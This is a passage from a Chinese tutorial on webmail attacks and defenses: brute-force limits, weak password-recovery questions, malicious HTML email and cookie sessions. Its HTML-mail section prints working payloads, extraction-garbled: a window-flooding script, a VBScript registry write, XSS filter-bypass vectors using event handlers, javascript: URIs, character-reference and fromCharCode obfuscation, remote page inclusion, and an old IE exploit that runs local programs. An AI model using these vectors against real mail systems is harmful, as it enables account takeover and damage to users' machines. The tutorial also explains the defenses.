黑客教程Webmail攻防实战Word文档格式.docx
《黑客教程Webmail攻防实战Word文档格式.docx》由会员分享,可在线阅读,更多相关《黑客教程Webmail攻防实战Word文档格式.docx(13页珍藏版)》请在冰点文库上搜索。
如果攻击者采用多个代理地址轮循攻击,甚至采用分布式的破解攻击,那么“禁止IP地址”就难以防范了。
3、登录检验:
这种防范措施一般与上面两种防范措施结合起来使用,在禁止不能登录的同时,返回给客户端的页面中包含一个随机产生的检验字符串,只有用户在相应的输入框里正确输入了该字符串才能进行登录,这样就能有效避免上面两种防范措施带来的负面影响。
不过,攻击者依然有可乘之机,通过开发出相应的工具提取返回页面中的检验字符串,再将此检验字符串做为表单元素值提交,那么又可以形成有效的webmail暴力破解了。
如果检验字符串是包含在图片中,而图片的文件名又随机产生,那么攻击者就很难开发出相应的工具进行暴力破解,在这一点上,yahoo电邮就是一个非常出色的例子。
虽然webmail的暴力破解有诸多的防范措施,但它还是很难被完全避免,如果webmail系统把一分钟内五次错误的登录当成是暴力破解,那么攻击者就会在一分钟内只进行四次登录尝试。
所以,防范webmail暴力破解还主要靠用户自己采取良好的密码策略,如密码足够复杂、不与其他密码相同、密码定期更改等,这样,攻击者很难暴力破解成功。
三、邮箱密码恢复
难免会有用户遗失邮箱密码的情况,为了让用户能找回密码继续使用自己的邮箱,大多数webmail系统都会向用户提供邮箱密码恢复机制,让用户回答一系列问题,如果答案都正确的话,就会让用户恢复自己邮箱的密码。
但是,如果密码恢复机制不够合理和安全,就会给攻击者加以利用,轻松获取他人邮箱密码。
下面是许多webmail系统密码恢复机制所采取的密码恢复步骤,只有用户对每步提出的问题回答正确的话才会进入下一步,否则返回出错页面,针对每一步,攻击者都有可乘之机:
第一步:
输入帐户:
在进入密码恢复页面后首先提示用户输入要恢复密码的邮箱帐户。
这一步对攻击者而言自然不成问题,邮箱帐户就是他要攻击的目标。
第二步:
输入生日:
提示用户按年月日输入自己的生日。
这一步对攻击者而言也很轻松,年月日的排列组合很小,借助溯雪等工具很快就能穷举破解出来,所以webmail系统有必要在此采取暴力破解防范措施。
并且每个用户需要注意的是,攻击者不一定来自地球的另一端,很可能就是你身边的人,或许这些人更想知道你邮箱里有什么秘密,而他们要弄清你的生日往往是件轻而易举的事情,你不是昨天才过了生日party吗?
你不是刚刚把身份证复印件交给人事部吗?
所以,为了邮箱安全,用户是不是要把真实的生日做为邮箱注册信息,webmail系统是不是一定要用户输入真实的生日做为注册信息,这还有待考虑。
第三步:
问题回答:
提示用户回答自己设定的问题,答案也是用户自己设定的答案。
在这一步,攻击者往往只有靠猜测,不幸的是,很多用户的问题和答案是如此的简单,以致于攻击者能轻易的猜测出来,例如提出的问题只是知识性的问题、提出的问题和答案相同等。
攻击者对用户越熟悉,成功的可能性就越大,例如有用户问“你男朋友是哪里人”,殊不知,攻击者正是她的男朋友。
所以,用户把问题设置成唯有自己知道的答案至关重要,这样攻击者才很难得逞,不过不要忘了答案,否则就得不偿失了。
在用户正确完成以上各步骤以后,webmail系统就会让用户恢复自己邮箱帐户的密码。
密码恢复的方式又各有不同,一般有如下几种方式,安全程度各有不同:
1、页面返回:
返回的页面里显示用户的邮箱密码。
这样故然方便省事,但是如果让攻击者得到密码,则能在丝毫不惊动用户的情况下使用用户的邮箱,使得攻击者能长期监视用户的邮箱使用情况,给用户带来更大的安全隐患。
2、邮件发送:
将密码发送到用户注册时登记的另一个邮箱里。
对于攻击者来说,忙了半天,仍然是一无所获,除非继续去攻击另一个邮箱;
对于用户来说,在另一个邮箱里收到发来的密码则是一个警告,说明有攻击者猜测到了他的邮箱密码提示问题,迫使用户尽快改变自己的密码提示问题。
不过,如果用户注册时登记的不是一个正确的邮箱,或者该邮箱已经失效,那么,这样不仅是攻击者,就是用户本人也永远得不到密码了。
有些webmail系统在注册时要求用户登记正确的邮件地址,并把邮箱开通的验证信息发往该邮件地址,不过这样仍然不能避免用户在邮箱失效后不能恢复自己邮箱密码的情况发生。
3、密码重设:
让用户重新设置一个密码。
这种方式相比“页面返回”方式,在攻击者重设密码后,用户因为不能正常登录进自己的邮箱而能察觉出受到攻击,安全性相对好一些;
但是相比“邮件发送”方式,因为攻击者能立即修改邮箱密码,少了一层保障,安全性又差一些。
由“页面返回”或“邮件发送”回来的密码可以明显看出,该电子邮件系统是把邮箱帐户的密码未经加密直接以明文保存在数据库或LDAP服务器中。
这样就造成很大的安全隐患,webmail系统管理员或侵入数据库的攻击者能轻易获取用户的邮箱密码,用户却完全不知情,所以为了加大保密性,有必要将邮箱密码加密后再以密文存入数据库,最好用不可逆的单向加密算法,如md5等。
邮箱密码恢复机制是否安全,主要还是看webmail系统提出什么样的问题、采取什么样的问答方式,例如将多个密码恢复步骤中提出的问题放在一步中一起提出,就会相应地增加攻击者的难度从而提高安全性,像搜狐邮件、新浪邮件和yahoo电邮等都是一些令人失望的例子。
四、恶性HTML邮件
电子邮件有两种格式:
纯文本(txt)和超文本(html)。
Html邮件由html语言写成,当通过支持html的邮件客户端或以浏览器登录进入webmail查看时,有字体、颜色、链接、图像、声音等等,给人以深刻的印象,许多垃圾广告就是以html邮件格式发送的。
利用html邮件,攻击者能进行电子邮件欺骗,甚至欺骗用户更改自己的邮箱密码。
例如攻击者通过分析webmail密码修改页面的各表单元素,设计一个隐含有同样表单的html页面,预先给“新密码”表单元素赋值,然后以html邮件发送给用户,欺骗用户说在页面中提交某个表单或点击某个链接就能打开一个精彩网页,用户照做后,在打开“精彩网页”的同时,一个修改邮箱密码的表单请求已经发向webmail系统,而这一切,用户完全不知情,直到下次不能登录进自己邮箱的时候。
为了防止此类的html邮件欺骗,在修改邮箱配置时,特别是修改邮箱密码和提示问题时,webmail系统有必要让用户输入旧密码加以确认,这样也能有效防止载取到当前webmail会话的攻击者(下面会介绍)更改邮箱密码。
通过在html邮件中嵌入恶性脚本程序,攻击者还能进行很多破坏攻击,如修改注册表、非法操作文件、格式化硬盘、耗尽系统资源、修改“开始”菜单等,甚至能删除和发送用户的邮件、访问用户的地址簿、修改邮箱帐户密码等等。
恶性脚本程序一般由JavaScript或VBScript脚本语言写成,内嵌在html语言中,通过调用ActiveX控件或者结合WSH来达到破坏攻击目的。
深受修改浏览器的恶性html页面之痛,饱经“欢乐时光”邮件病毒之苦的朋友,对此应该不会陌生。
下面是两个简单的恶性脚本程序:
一、打开无数个浏览器窗口,直至CPU超负荷,非关机不可:
<
scriptlanguage="
JavaScript"
>
!
--
while(true)
{
window.open("
URI"
);
//如果URI就是当前页本身,那就更具破坏性。
}
//-->
/script>
二、修改注册表:
VBScript"
SetRegWsh=CreateObject("
WScript.Shell"
)
'
设置IE浏览器默认页
RegWsh.RegWrite"
HKCU\Software\Microsoft\InternetExplorer\Main\StartPage"
"
"
鉴于脚本程序可能带来的危险,webmail系统完全有必要禁止html邮件中的脚本程序。
禁止脚本程序的基本做法就是过滤掉html源程序中能够使脚本程序运行的代码,如script元素等,在这方面做的最好的莫过于hotmail了。
下面是些常见的绕过脚本程序过滤的方法,不少的webmail系统仍然没有完全改正:
1、在html语言里,除了script元素内的或在script元素内引入的脚本程序能在html页面装载时被运行外,使用事件属性也能调用脚本程序运行,事件属性在JavaScript语言里被称为事件句柄,用于对页面上的某个特定事件(如鼠标点击、表单提交)做出响应,驱动javascript程序运行。
它的语法如下:
tagattribute1attribute2onEventName="
javascriptcode;
例如:
bodyonload="
alert('
JavaScript#1isexecuted'
ahref="
#"
onclick="
JavaScript#2isexecuted'
Clickhere<
/a>
formmethod="
post"
action="
onsubmit="
JavaScript#3isexecuted'
inputtype="
submit"
value="
Submit"
/form>
/body>
2、URI(UniversalResourceIdentifier:
通用资源标识)用于定位Internet上每种可用的资源,如HTML文档、图像、声音等。
浏览器根据URI的资源类型(URIscheme)调用相应的程序操作该资源,如果把一些元素的URI属性值的资源类型设为javascript,则能够调用javascript程序运行。
语法如下,注意要用“;
”分隔不同的javascript语句:
tagattribute="
javascript:
javascript-code;
bodybackground="
imgsrc="
JavaScript#4isexecuted'
3、由于软硬件或其他原因,一些冷僻或特殊的字符不能输入或正确显示在html页面上,为了解决这个问题,html中可以使用SGML字符参考。
字符参考是一种用来指定文档字符集中任何字符的独立编码机制,以“&
”开始,以“;
”结束。
字符参考有两种表达方式:
数字字符参考和实体字符参考。
数字字符参考的语法为“&
#D;
”(D代表一个十进制数),或“&
#xH;
”、“&
#XH;
”(H代表一个十六进制数),例如“&
#65;
#x41;
”表示字母“A”,“&
#27700;
#x6C34;
”表示汉字“水”。
攻击者把html语句里的一些字符以数字字符参考来代替,这样能避开webmail系统对脚本程序的过滤。
需要注意的是,元素和属性不可以用字符参考表示,例如:
body>
imglowsrc="
j&
#97;
vas&
#67;
ript:
)"
&
#x6a;
av&
s&
ript&
#x3a;
ale&
#x72;
t('
JavaScript#2
#x69;
#x73executed'
Clickher&
#x65;
JavaScript#3is
executed'
#x53;
ubmit"
4、样式表是层叠样式表单(CSS:
CascadingStyleSheet)的简称,用于控制、增强或统一网页上的样式(如字体、颜色等),它能够将样式信息与网页内容相分离,在html语言的style标签内可以用@import声明输入一个样式表。
但是,如果输入的资源类型或内容是javascript,InternetExplorer浏览器仍然会执行。
styletype="
text/css"
@importurl(javascript:
));
@importurl(
-->
/style>
其中
eval(String.fromCharCode
(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));
能够绕过webmail系统对脚本程序过滤的方法远不止上面所说的这些,例如曾有人发现把“<
script>
”标签改成“<
_a<
”和“<
”的样子能绕过yahoo电邮的过滤,这个漏洞yahoo在最近才改正过来。
除了可以在html邮件中直接嵌入脚本程序外,攻击者还可以设计一些html代码,在用户打开html邮件时,不知不觉引入另一个html文件,而此文件中正含有恶性代码,这样不仅能直接绕过webmail系统对脚本程序的过滤,而且还能有效避开提供了防毒服务的邮件系统对恶性代码的查杀。
下面是几个调用html文件的例子:
1、Refresh到另一个页面:
metahttp-equiv="
refresh"
content="
1;
URL=
2、Iframe引入另一个页面:
iframesrc="
frameborder="
0"
/iframe>
3、scriptlet引入另一个页面:
objecttype="
text/x-scriptlet"
data="
攻击者还可以采取如下方法,使带有恶性代码的html邮件具有更大的隐蔽性:
1、配合邮件欺骗技术,使用户不会怀疑收到的邮件,并且攻击者也能隐藏自己的行踪。
2、把html邮件设计成看起来像txt邮件。
3、有时可以把html邮件中的恶性代码放在一个隐藏的层里面,表面上看不出任何变化。
针对恶性脚本程序的影响,对用户常见的建议办法是提高浏览器的安全级别,如禁用ActiveX、禁用脚本等,但这并不是一个很好的办法,因为这样会影响到用户对其他正常html页面的浏览。
即使浏览器达到了最高级别,依然对某些恶性代码无济于事,下面是位以色列安全专家发现的漏洞,能让Windows系统自动执行任何本地程序,即使InternetExplorer已经禁止了ActiveX和脚本程序:
spandatasrc="
#oExec"
datafld="
exploit"
dataformatas="
html"
/span>
xmlid="
oExec"
security>
exploit>
[CDATA[
objectid="
oFile"
classid="
clsid:
11111111-1111-1111-1111-
111111111111"
codebase="
c:
/winnt/system32/calc.exe"
/object>
]]>
/exploit>
/security>
/xml>
面对恶性html邮件,webmail系统和用户似乎都没有很好的解决办法,虽然许多webmail系统已经能够过滤掉html邮件中的很多恶性代码,不过令人遗憾的是,要想彻底过滤掉恶性代码并不是一件容易的事情,攻击者总能利用webmail系统过滤机制和浏览器的漏洞找到办法绕过种种过滤,webmail系统所能做的就是发现一个漏洞补一个漏洞。
为了减少乃至避免恶性html邮件的影响,在打开html邮件之前,webmail系统有必要提醒用户这是一个html邮件,如果能提供让用户以文本方式浏览html邮件的功能,则是最好不过。
在打开不明邮件之前,用户更要小心谨慎,最好把html邮件“目标另存为”到本地硬盘上再打开来看,如果能先查看html邮件源代码,则是最好不过。
另外需要特别提醒用户注意的是,虽然一些电子邮件系统会在webmail系统上对html邮件中的恶性代码进行过滤,但在pop3服务器上并不会进行过滤,所以,如果是通过邮件客户端收取邮件,仍然要谨防恶性html邮件的危害。
五、Cookie会话攻击
当用户以自已的邮箱帐户和密码登录进webmail以后,如果再让用户对每一步操作都输入密码加以确认就会让人不甚其烦。
所以webmail系统有必要进行用户会话跟踪,webmail系统用到的会话跟踪技术主要有两种:
cookie会话跟踪和URL会话跟踪。
Cookie是web服务器保存在用户浏览器上的文本信息,可以包含用户名、特殊ID、访问次数等任何信息,通常此信息用于标识访问同一web服务器上的不同用户,在浏览器每次访问同一web服务器时会发送过去,用于跟踪特定客户端或浏览器与web服务器进行交互的状态。
Cookie的类型有两种:
持久型和临时型。
持久型cookie以文本形式存储在硬盘上,由浏览器存取。
使用了持久型cookie会话跟踪的webmail系统有hotmail、yahoo电邮(可选)等。
临时型cookie也称为会话cookie,存储在内存中,仅为当前浏览器的对话存储,关闭当前浏览器后会立即消失,ASP、PHP4等开发程序中用到的session对象就会产生临时型cookie。
使用了临时型cookie会话跟踪的webmail系统有FM365、亿邮等。
如果攻击者能够获取用户webmail的cookie信息,那么就能很容易地侵入用户的webmail。
攻击者如何获取用户webmail的cookie信息呢?
如果攻击者在用户的电脑上安装了木马,或者能够从网络线路上对用户进